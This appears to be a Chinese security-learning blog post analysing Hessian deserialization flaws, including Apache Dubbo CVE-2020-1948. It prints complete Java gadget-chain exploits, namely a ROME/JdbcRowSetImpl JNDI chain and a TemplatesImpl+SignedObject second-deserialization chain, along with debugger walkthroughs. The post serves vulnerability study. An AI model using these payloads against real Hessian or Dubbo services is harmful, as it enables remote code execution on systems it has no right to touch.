• Hessian反序列化分析


    RPC协议

    RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便
    RPC协议的一次远程通信过程如下:

    • 客户端发起请求,并按照RPC协议格式填充信息
    • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
    • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
    • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

    Hessian协议

    Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Python、C++......语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。

    Hessian的简单使用

    环境依赖

     
        com.caucho
        hessian
        4.0.63
    
    

    Demo

    package org.example;
    import java.io.Serializable;
    
    public class Person implements Serializable {
        public String name;
        public int age;
    
        public int getAge() {
            return age;
        }
    
        public String getName() {
            return name;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    }
    
    package org.example;
    
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    
    public class Hessian_test {
        public static  byte[] serialize(T o) throws IOException {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(bao);
            output.writeObject(o);
            System.out.println(bao.toString());
            return bao.toByteArray();
        }
        public static  T deserialize(byte[] bytes) throws IOException {
            ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
            HessianInput input = new HessianInput(bis);
            Object o = input.readObject();
            return (T) o;
        }
    
        public static void main(String[] args) throws IOException {
            Person person = new Person();
            person.setName("F12");
            person.setAge(20);
            byte[] s = serialize(person);
            System.out.println((Person) deserialize(s));
        }
    }
    

    感觉就是ObjectStream的一个替换,跟原生的并没有太大差异

    Hessian反序列化漏洞

    package org.example;
    
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.sun.rowset.JdbcRowSetImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.Serializable;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class Hessian_JNDI implements Serializable {
        public static  byte[] serialize(T o) throws IOException {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(bao);
            output.writeObject(o);
            System.out.println(bao.toString());
            return bao.toByteArray();
        }
    
        public static  T deserialize(byte[] bytes) throws IOException {
            ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
            HessianInput input = new HessianInput(bai);
            Object o = input.readObject();
            return (T) o;
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static Object getValue(Object obj, String name) throws Exception{
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(obj);
        }
    
        public static void main(String[] args) throws Exception {
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            String url = "ldap://localhost:1099/EXP";
            jdbcRowSet.setDataSourceName(url);
    
    
            ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    
            //手动生成HashMap,防止提前调用hashcode()
            HashMap hashMap = makeMap(equalsBean,"1");
    
            byte[] s = serialize(hashMap);
            System.out.println(s);
            System.out.println((HashMap)deserialize(s));
        }
    
        public static HashMap makeMap ( Object v1, Object v2 ) throws Exception {
            HashMap s = new HashMap<>();
            setValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setValue(s, "table", tbl);
            return s;
        }
    }
    

    搭个ldap恶意服务,运行代码成功弹出计算器,分析一下流程,readObject处打个断点,在readObject中计算tag的值进行一个Switch,我们这里计算出来是77也就是M

    跟进readMap

    获取到一个空的Deserializer对象,直接跟进readMap

    这里创建了一个Map对象,将我们的恶意序列化数据put进去,这里调用了2次readObject,因此我们会重复几次也会弹好几个计算器,重复过程结束后回到put方法,进入put触发的就是常规rome链,似乎非常的easy

    Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

    环境搭建

    直接偷大佬搭好的:https://github.com/Claradoll/Security_Learning
    启动Dubbo之前得准备一些东西,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下

    1. 首先服务容器加载并运行Provider
    2. Provider在启动时向注册中心Registry注册自己提供的服务
    3. Consumer在Registry处订阅Provider提供的服务
    4. 注册中心返回服务地址给Consumer
    5. Consumer根据Registry提供的服务地址调用Provider提供的服务
    6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

    https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/
    下载好后配置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下,添加这两个东西,data和log目录自己创建

    dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
    dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log
    

    先启动zookeeper,bin目录下启动zkServer.cmd,然后IDEA里分别启动provider和consumer,访问这样就搭建成功了,consumer相当于客户端,provider就是服务端

    反序列化漏洞分析

    同样是JNDI注入触发rome链,攻击逻辑里面已经写好了,我们访问calc路由即可弹出计算器
    这里分析一下Dubbo是怎么处理的,在服务端打个断点

    再给DecodeableRpcInvocation的decode方法打个断点,方便调试

    打完断点访问calc路由,进入decode方法

    这一段代码获取了远程接口对象的路径和类型,以及dubbo的版本等等信息,但是在最后进行了反序列化,并且这里的in输入流是Hessian2对象

    之后就是Hessian反序列化的流程了,为什么别的博主到这里tag变成了72,而我还是77,又一谜题,77常规的Hessian反序列化,就不往下分析了,可以去看看72的分析过程,不过大差不差

    Hessian二次反序列化利用链

    TemplatesImpl+SignedObject二次反序列化

    上面确实有个疑惑是为什么要用JNDI,而不是单纯的TemplatesImpl链,在这里得到了解答,这是由于Hessian反序列化和Java原生反序列化的区别,如果用TemplatesImpl打的话,运行会报错
    这是因为Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化

    那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readObject方法:

    这里手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种问题了
    那既然如此,我们该如何绕过这个限制呢?思路其实很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法,刚好上篇讲的二次反序列化,这里就能够用到

    package com.example.dubboconsumer.consumer;
    
    import com.alibaba.com.caucho.hessian.io.Hessian2Input;
    import com.alibaba.com.caucho.hessian.io.Hessian2Output;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.*;
    import java.util.HashMap;
    
    public class Hessian_TemplatesImpl {
    
        public static void main(String[] args) throws Exception {
            TemplatesImpl templatesimpl = new TemplatesImpl();
    
            byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class"));
    
            setValue(templatesimpl,"_name","aaa");
            setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
            setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
    
            ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
            setValue(badAttributeValueExpException,"val",toStringBean);
    
            KeyPairGenerator keyPairGenerator;
            keyPairGenerator = KeyPairGenerator.getInstance("DSA");
            keyPairGenerator.initialize(1024);
            KeyPair keyPair = keyPairGenerator.genKeyPair();
            PrivateKey privateKey = keyPair.getPrivate();
            Signature signingEngine = Signature.getInstance("DSA");
    
            SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
    
            ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
    
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
    
            HashMap hashMap = makeMap(equalsBean, equalsBean);
    
            byte[] payload = Hessian2_Serial(hashMap);
            Hessian2_Deserial(payload);
        }
    
        public static byte[] Hessian2_Serial(Object o) throws IOException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output hessian2Output = new Hessian2Output(baos);
            hessian2Output.writeObject(o);
            hessian2Output.flushBuffer();
            return baos.toByteArray();
        }
    
        public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            Hessian2Input hessian2Input = new Hessian2Input(bais);
            Object o = hessian2Input.readObject();
            return o;
        }
    
        public static HashMap makeMap (Object v1, Object v2 ) throws Exception {
            HashMap s = new HashMap<>();
            setValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setValue(s, "table", tbl);
            return s;
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    运行即可弹计算器


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18129839
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    力扣(98.107)补9.10
    jsp195ssm饭店餐饮管理系统hsg6034AHA5
    白蛋白纳米粒是一种较好的药物载体|白蛋白普萘洛尔人血清白蛋白HSA纳米粒|的帕西瑞肽牛血清白蛋白BSA纳米粒
    如何深度了解汤泉场所?VR全景给你答案
    乌班图22.04 kubeadm简单搭建k8s集群
    军训场KL
    【Unity编辑器扩展】 | 编辑器扩展入门基础
    Python拆分列中文和 字符
    Redis ----Spring MVC 有时候找不到类的原因
    Linux编辑器-vim使用
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18129839